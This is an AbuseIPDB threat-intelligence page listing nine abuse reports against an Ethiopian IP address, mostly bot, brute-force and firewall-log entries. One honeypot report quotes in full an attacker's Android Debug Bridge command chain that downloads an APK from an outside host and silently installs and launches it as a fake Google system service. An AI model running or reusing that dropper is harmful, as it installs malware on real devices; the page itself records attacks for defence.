JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 196.190.81.112

196.190.81.112 was found in our database!

This IP was reported 9 times. Confidence of Abuse is 28%: ?

28%

ISP	Ethio Telecom
Usage Type	Fixed Line ISP
ASN	AS24757
Domain Name	ethiotelecom.et
Country	🇪🇹 Ethiopia
City	Dessie, Amhara

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 196.190.81.112

Whois 196.190.81.112

IP Abuse Reports for 196.190.81.112:

This IP address has been reported a total of 9 times from 7 distinct sources. 196.190.81.112 was first reported on May 6th 2026, and the most recent report was 1 hour ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 TPI-Abuse	2026-10-22 14:22:38 (1 hour ago)	(mod_security) mod_security (id:225170) triggered by 196.190.81.112 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:225170) triggered by 196.190.81.112 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 22 10:22:30.471744 2026] [security2:error] [pid 15122:tid 15122] [client 196.190.81.112:16059] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|drdot.xyz\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "drdot.xyz"] [uri "/wp-json/wp/v2/users"] [unique_id "atocJqiiysQ2TjM24yIS0QAAAAw"], referer: https://drdot.xyz/ show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 drewf.ink	2026-10-10 10:44:41 (1 week ago)	[10:44] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/ ... show more [10:44] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null\|\|cd /sdcard 2>/dev/null\|\|cd /tmp 2>/dev/null\|\|cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk\|\|toybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|busybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk) 2>/dev/null; SZ=$(ls -l s.apk 2>/dev/null \| awk '{print $5}'); pm install -r -g s.apk >/dev/null 2>&1; cmd package install -r -g s.apk >/dev/null 2>&1; pm enable com.google.android.system.service >/dev/null 2>&1; am broadcast -a com.google.android.system.service.ENABLE_APP >/dev/null 2>&1; am start -n com.google.android.system.service/.TVOptimizer >/dev/null 2>&1; am start-foreground-service -n com.google.android.system.service/.MuhHeilong >/dev/null 2>&1; pm path com.google.android.system.service 2>/dev/null; echo SZ=$SZ show less	Hacking Exploited Host IoT Targeted
🇩🇪 LRob	2026-09-29 00:27:22 (3 weeks ago)	Not following 301 redirects — wasted requests \| method: GET \| path: /cest-la-rentree-dans-les-clubs- ... show more Not following 301 redirects — wasted requests \| method: GET \| path: /cest-la-rentree-dans-les-clubs-descrime-de-la-ligue-aura \| ua: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.73 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-27 11:47:29 (3 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-23 12:09:46 (4 weeks ago)	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0. ... show more Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 show less	Bad Web Bot
🇳🇱 Alt255	2026-09-13 08:18:27 (1 month ago)	[ti-22al] WordPress login brute-force: 4 suspicious requests detected by fail2ban jail apache-wordpr ... show more [ti-22al] WordPress login brute-force: 4 suspicious requests detected by fail2ban jail apache-wordpress. Example: 196.190.81.112 - - [13/Sep/2026:10:10:52 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "Jetpack by WordPress.com (Jetpack 13.0; WordPress 6.1)" 196.190.81.112 - - [13/Sep/2026:10:12:08 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "Jetpack by WordPress.com (Jetpack 12.5; WordPress 6.1)" 196.190.81.112 - - [13/Sep/2026:10:14:16 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "Jetpack/12.0; WordPress/6.2; http://site86892843.com" 196.190.81.112 - - [13/Sep/2026:10:18:25 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "WordPress.com; https://wordpress.com" ... show less	Brute-Force Web App Attack
🇺🇸 鬼影233	2026-08-20 16:02:53 (2 months ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0 show less	Bad Web Bot
🇺🇸 kosada.com	2026-06-29 11:45:12 (3 months ago)	Web bot: denial-of-service flood	DDoS Attack Bad Web Bot
🇬🇧 PeravixGroup	2026-05-06 13:12:38 (5 months ago)	Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: ME ... show more Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Brute-Force

Showing 1 to 9 of 9 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇬 94.231.206.254

🇸🇬 94.231.206.6

🇨🇳 58.247.18.34

🇺🇸 57.141.6.51

🇨🇳 36.137.180.219

🇩🇪 102.220.161.79

🇹🇲 95.85.113.251

🇸🇬 94.231.206.132

🇸🇬 94.231.206.12

🇪🇸 85.152.57.60

🇺🇸 45.61.187.220

🇹🇷 37.155.17.247

🇦🇺 20.5.85.204

🇺🇸 18.235.81.246

🇺🇸 209.141.47.217

🇹🇳 197.238.118.127

🇹🇭 118.174.48.66

🇸🇬 94.231.206.1

🇷🇴 94.156.152.60

🇬🇧 86.38.187.240